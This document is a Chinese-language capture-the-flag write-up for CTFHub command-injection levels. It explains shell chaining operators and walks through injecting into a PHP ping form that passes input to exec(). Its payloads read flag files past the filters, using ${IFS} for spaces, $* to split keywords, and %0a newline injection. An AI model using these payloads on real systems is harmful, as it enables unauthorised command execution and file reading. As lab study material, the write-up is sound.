知识点
1.常见的拼接符
1、A ; B 先执行A,再执行B
2、A & B 简单的拼接
3、A | B 显示B的执行结果
4、A&&B A执行成功之后才会执行B
5、A || B A执行失败之后才会执行B
, 在特殊情况下可代替空格
2.常见的命令
(1)windows
1.type 显示文本文件内容
type x:\1.txt //显示x盘下的1.txt文件内容
type x:\1.txt | more //分页显示x盘里1.txt的内容
more 1.txt //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)
2.dir 显示目录里的内容
dir //显示当前目录里的子文件夹和文件
dir /b //只显示当前目录子文件夹、文件的文件名
dir /p //分页显示当前目录子文件夹、文件
dir /ad //只显示当前目录中的文件夹
dir /a-d //显示当目里的文件
dir x:/a //显示x盘下a文件夹中的内容
dir 1.txt //显示当目下1.txt的信息
dir /s //递归显示当目中的内容 ctrl c终止当前命令
dir a* //显示当目下a开头的文件、文件夹信息
dir /ah /os //显示当目下隐藏的文件和目录,按文件大小从小到大排序
(2)Linux
1、ls:列出目录
2、pwd:显示当前所在的目录
3、cat:由第一行开始查看文件
4、tac:由最后一行到第一行查看
5、more:逐项查看文件,按空格继续,最后自己退出
6、less:逐行查看文件,按方向键,不可主动退出,按q退出
7、head:只查看文件前十行
8、tail:只查看文件后十行
一.无过滤
表单提交数据查询
127.0.0.1 | ls
127.0.0.1 | cat 13902158133348.php
查看页面源码
二.过滤cat
127.0.0.1 | ls
用head替换cat
127.0.0.1 | head flag_177602969423543.php
查看页面源码
三.过滤空格
127.0.0.1|ls
利用${IFS}绕过空格
127.0.0.1|cat${IFS}flag_30018569826895.php
查看页面源码
四.过滤目录分割符
127.0.0.1 | ls
因为过滤了分割符,所以flag_is_here文件夹下的文件不能直接读取
先进入文件夹
127.0.0.1;cd flag_is_here;ls
读取文件内容
127.0.0.1;cd flag_is_here;cat flag_31805149391734.php
查看页面源码
五.过滤运算符
代码分析
这段代码主要是处理通过 GET 方式传递的 ip 参数。
首先,定义了一个变量 $res 并初始化为 FALSE 。
然后,通过 isset($_GET['ip']) && $_GET['ip'] 检查是否存在 ip 参数并且该参数不为空。
如果存在且符合条件,将 ip 参数的值赋给变量 $ip ,并创建一个空数组 $m 。
接着,使用 preg_match_all 函数检查 $ip 中是否包含 | 或 & 。如果不包含,执行 $cmd = "ping -c 4 {$ip}" 构建一个 ping 命令的字符串,并使用 exec 函数执行该命令,将结果存储在 $res 中。
如果 $ip 中包含了 | 或 & ,则将匹配的结果存储在 $res 中。
;并没有被过滤
127.0.0.1;ls
;cat flag_15472583520602.php
查看页面源码
六.综合过滤
代码分析
这段代码的主要目的是根据用户通过 GET
方法提交的 ip
参数执行相应的操作。
首先,初始化 $res
为 FALSE
。然后检查是否存在 ip
参数并且其不为空。如果存在有效的 ip
参数,会进行进一步的正则表达式匹配检查。
正则表达式 /(\||&|;| |\/|cat|flag|ctfhub)/
用于检查 ip
参数中是否包含了 |
、 &
、 ;
、 空格 、 /
、 cat
、 flag
或 ctfhub
等特定字符。如果不包含这些字符,就构建一个 ping -c 4 {$ip}
的命令并使用 exec
函数执行,将结果存储在 $res
中。如果包含了这些被禁止的字符,就将匹配结果存储在 $res
中。
绕过思路
%0a 换行符
%0d 回车符
$* 在shell命令执行下为空
${IFS} 表示空格
列举目录
?ip=127.0.0.1%0als
注意本体在url上修改即可
http://challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=%0als#
若要在表单提交处修改则需要注意,提交后删除url中的25后即可执行
列举文件夹下的文件
http://challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#
查看文件内容获取flag
challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_189242026830052.php#